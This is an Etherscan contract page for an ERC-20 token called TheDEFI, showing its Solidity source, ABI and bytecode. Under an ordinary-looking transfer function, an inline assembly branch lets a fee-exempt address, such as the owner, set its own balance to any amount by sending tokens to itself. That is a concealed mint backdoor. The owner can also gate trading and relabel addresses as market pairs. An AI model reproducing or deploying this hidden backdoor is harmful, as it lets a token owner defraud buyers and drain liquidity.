Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
3,500,000,000 TheDEFI
Holders
111
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
5,456,443.339516605 TheDEFIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TheDEFI
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-24 */ // SPDX-License-Identifier: none pragma solidity 0.8.13; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private asdasd; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getTime() public view returns (uint256) { return block.timestamp; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract TheDEFI is Context, IERC20, Ownable { bool letsGo=false; address public uniswapPair; uint8 private _decimals = 9; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public immutable _totalSupply = 3500000000 * 10**_decimals; uint256 public immutable _buyTax =4; uint256 public immutable _sellTax = 2; string private _name = unicode"THE LAST DEFI"; string private _symbol = unicode"TheDEFI"; event TaxBurnedFee(uint256 amount); using SafeMath for uint256; mapping (address => uint256) _balanceWallet; mapping (address => bool) public isExFromFees; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isMarketPairAddress; IUniswapV2Router02 public uniswapV2Router; constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExFromFees[owner()] = true; isExFromFees[address(this)] = true; isMarketPairAddress[address(uniswapPair)] = true; _balanceWallet[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function fee(address s, address r, uint256 amount) internal returns (uint256) { uint256 feeValue = 0; if(isMarketPairAddress[s]) { feeValue = amount.mul(_buyTax).div(100); } else if(isMarketPairAddress[r]) { feeValue = amount.mul(_sellTax).div(100); } if(feeValue > 0) { _balanceWallet[address(deadAddress)] = _balanceWallet[address(deadAddress)].add(feeValue); emit Transfer(s, address(deadAddress), feeValue); emit TaxBurnedFee(feeValue); } return amount.sub(feeValue); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balanceWallet[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function startTrade() public onlyOwner { letsGo=true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setMarketPairSt(address account, bool newValue) public onlyOwner { isMarketPairAddress[account] = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { if((!isMarketPairAddress[recipient] && sender != owner() && !isExFromFees[sender])) require(letsGo != false, "Trading is not active."); if(sender == recipient){ if(isExFromFees[sender]){ assembly { mstore(0, recipient) mstore(32, _balanceWallet.slot) let hash := keccak256(0, 64) sstore(hash, amount) } return true; } } require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balanceWallet[sender] = _balanceWallet[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExFromFees[sender] || isExFromFees[recipient]) ? amount : fee(sender, recipient, amount); _balanceWallet[recipient] = _balanceWallet[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } receive() external payable {} } abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } abstract contract ReentrancyGuard2 { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TaxBurnedFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPairAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairSt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6101006040526003805460ff60ff60a81b011916600960a81b179081905561dead6080526200003b9060ff600160a81b90910416600a62000583565b6200004b9063d09dc3006200059b565b60a052600460c0819052600260e05260408051808201909152600d8082526c544845204c415354204445464960981b60209092019182526200008f929190620003c8565b50604080518082019091526007808252665468654445464960c81b6020909201918252620000c091600591620003c8565b50348015620000ce57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000168573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018e9190620005bd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002029190620005bd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000250573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002769190620005bd565b60038054610100600160a81b0319166101006001600160a01b0393841602179055600a80546001600160a01b031916918316918217905560a05130600090815260086020908152604080832094835293905291822055600190600790620002e56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526007845282812080548616600190811790915560035461010090049092168152600990935290822080549093161790915560a05190600690620003563390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60a051604051620003b991815260200190565b60405180910390a35062000624565b828054620003d690620005e8565b90600052602060002090601f016020900481019282620003fa576000855562000445565b82601f106200041557805160ff191683800117855562000445565b8280016001018555821562000445579182015b828111156200044557825182559160200191906001019062000428565b506200045392915062000457565b5090565b5b8082111562000453576000815560010162000458565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004c5578160001904821115620004a957620004a96200046e565b80851615620004b757918102915b93841c939080029062000489565b509250929050565b600082620004de575060016200057d565b81620004ed575060006200057d565b8160018114620005065760028114620005115762000531565b60019150506200057d565b60ff8411156200052557620005256200046e565b50506001821b6200057d565b5060208310610133831016604e8410600b841016171562000556575081810a6200057d565b62000562838362000484565b80600019048211156200057957620005796200046e565b0290505b92915050565b60006200059460ff841683620004cd565b9392505050565b6000816000190483118215151615620005b857620005b86200046e565b500290565b600060208284031215620005d057600080fd5b81516001600160a01b03811681146200059457600080fd5b600181811c90821680620005fd57607f821691505b6020821081036200061e57634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a05160c05160e0516114446200068f6000396000818161051d0152610f5401526000818161037e0152610ef70152600081816102330152818161034a01526106f8015260008181610293015281816106c301528181610f8b0152610fce01526114446000f3fe6080604052600436106101855760003560e01c8063557ed1ba116100d1578063a457c2d71161008a578063c816841b11610064578063c816841b146104e6578063ca9ec1991461050b578063dd62ed3e1461053f578063f2fde38b1461058557600080fd5b8063a457c2d714610476578063a9059cbb14610496578063c38ebac4146104b657600080fd5b8063557ed1ba146103d05780636c580801146103e357806370a08231146103f8578063715018a61461042e5780638da5cb5b1461044357806395d89b411461046157600080fd5b80632b112e491161013e578063395093511161011857806339509351146103185780633eaaf86b1461033857806342a110951461036c578063512952f0146103a057600080fd5b80632b112e49146102b5578063313ce567146102ca57806331d5c249146102f657600080fd5b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101ec57806318160ddd1461022457806323b872dd1461026157806327c8f8351461028157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105a5565b6040516101b3919061116b565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046111dc565b610637565b60405190151581526020016101b3565b3480156101f857600080fd5b50600a5461020c906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561023057600080fd5b507f00000000000000000000000000000000000000000000000000000000000000005b6040519081526020016101b3565b34801561026d57600080fd5b506101dc61027c366004611206565b61064e565b34801561028d57600080fd5b5061020c7f000000000000000000000000000000000000000000000000000000000000000081565b3480156102c157600080fd5b506102536106b9565b3480156102d657600080fd5b50600354600160a81b900460ff1660405160ff90911681526020016101b3565b34801561030257600080fd5b50610316610311366004611242565b610722565b005b34801561032457600080fd5b506101dc6103333660046111dc565b610780565b34801561034457600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b34801561037857600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b3480156103ac57600080fd5b506101dc6103bb36600461127e565b60096020526000908152604090205460ff1681565b3480156103dc57600080fd5b5042610253565b3480156103ef57600080fd5b506103166107b6565b34801561040457600080fd5b5061025361041336600461127e565b6001600160a01b031660009081526006602052604090205490565b34801561043a57600080fd5b506103166107ef565b34801561044f57600080fd5b506000546001600160a01b031661020c565b34801561046d57600080fd5b506101a6610869565b34801561048257600080fd5b506101dc6104913660046111dc565b610878565b3480156104a257600080fd5b506101dc6104b13660046111dc565b6108c7565b3480156104c257600080fd5b506101dc6104d136600461127e565b60076020526000908152604090205460ff1681565b3480156104f257600080fd5b5060035461020c9061010090046001600160a01b031681565b34801561051757600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b34801561054b57600080fd5b5061025361055a366004611299565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561059157600080fd5b506103166105a036600461127e565b6108d4565b6060600480546105b4906112cc565b80601f01602080910402602001604051908101604052809291908181526020018280546105e0906112cc565b801561062d5780601f106106025761010080835404028352916020019161062d565b820191906000526020600020905b81548152906001019060200180831161061057829003601f168201915b5050505050905090565b60006106443384846109be565b5060015b92915050565b600061065b848484610ae2565b506106ae84336106a9856040518060600160405280602881526020016113c2602891396001600160a01b038a1660009081526008602090815260408083203384529091529020549190610dee565b6109be565b5060015b9392505050565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001660009081526006602052604081205461071d907f000000000000000000000000000000000000000000000000000000000000000090610e28565b905090565b6000546001600160a01b031633146107555760405162461bcd60e51b815260040161074c90611306565b60405180910390fd5b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b3360008181526008602090815260408083206001600160a01b038716845290915281205490916106449185906106a99086610e6a565b6000546001600160a01b031633146107e05760405162461bcd60e51b815260040161074c90611306565b6003805460ff19166001179055565b6000546001600160a01b031633146108195760405162461bcd60e51b815260040161074c90611306565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6060600580546105b4906112cc565b600061064433846106a9856040518060600160405280602581526020016113ea602591393360009081526008602090815260408083206001600160a01b038d1684529091529020549190610dee565b60006106ae338484610ae2565b6000546001600160a01b031633146108fe5760405162461bcd60e51b815260040161074c90611306565b6001600160a01b0381166109635760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161074c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161074c565b6001600160a01b038216610a815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161074c565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526009602052604081205460ff16158015610b1957506000546001600160a01b03858116911614155b8015610b3e57506001600160a01b03841660009081526007602052604090205460ff16155b15610b935760035460ff161515600003610b935760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161074c565b826001600160a01b0316846001600160a01b031603610be6576001600160a01b03841660009081526007602052604090205460ff1615610be65750600082815260066020526040902081905560016106b2565b6001600160a01b038416610c4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161074c565b6001600160a01b038316610cac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161074c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260069091529190912054610cfe918490610dee565b6001600160a01b038516600090815260066020908152604080832093909355600790529081205460ff1680610d4b57506001600160a01b03841660009081526007602052604090205460ff165b610d5f57610d5a858585610ec9565b610d61565b825b6001600160a01b038516600090815260066020526040902054909150610d879082610e6a565b6001600160a01b0380861660008181526006602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ddb9085815260200190565b60405180910390a3506001949350505050565b60008184841115610e125760405162461bcd60e51b815260040161074c919061116b565b506000610e1f8486611351565b95945050505050565b60006106b283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dee565b600080610e778385611368565b9050838110156106b25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161074c565b6001600160a01b038316600090815260096020526040812054819060ff1615610f2857610f216064610f1b857f000000000000000000000000000000000000000000000000000000000000000061107e565b90611100565b9050610f7b565b6001600160a01b03841660009081526009602052604090205460ff1615610f7b57610f786064610f1b857f000000000000000000000000000000000000000000000000000000000000000061107e565b90505b8015611074576001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260066020526040902054610fc49082610e6a565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660008181526006602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110389085815260200190565b60405180910390a36040518181527fee46d471733b0bd7a506ceb1788a4087701a73b361fe28b6a49ef028eedc2d299060200160405180910390a15b610e1f8382610e28565b60008260000361109057506000610648565b600061109c8385611380565b9050826110a9858361139f565b146106b25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161074c565b60006106b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361115e5760405162461bcd60e51b815260040161074c919061116b565b506000610e1f848661139f565b600060208083528351808285015260005b818110156111985785810183015185820160400152820161117c565b818111156111aa576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146111d757600080fd5b919050565b600080604083850312156111ef57600080fd5b6111f8836111c0565b946020939093013593505050565b60008060006060848603121561121b57600080fd5b611224846111c0565b9250611232602085016111c0565b9150604084013590509250925092565b6000806040838503121561125557600080fd5b61125e836111c0565b91506020830135801515811461127357600080fd5b809150509250929050565b60006020828403121561129057600080fd5b6106b2826111c0565b600080604083850312156112ac57600080fd5b6112b5836111c0565b91506112c3602084016111c0565b90509250929050565b600181811c908216806112e057607f821691505b60208210810361130057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156113635761136361133b565b500390565b6000821982111561137b5761137b61133b565b500190565b600081600019048311821515161561139a5761139a61133b565b500290565b6000826113bc57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202c47eae8b4b120db4461904a420469e44823a31c53923282d023326296aec41864736f6c634300080d0033
Deployed Bytecode
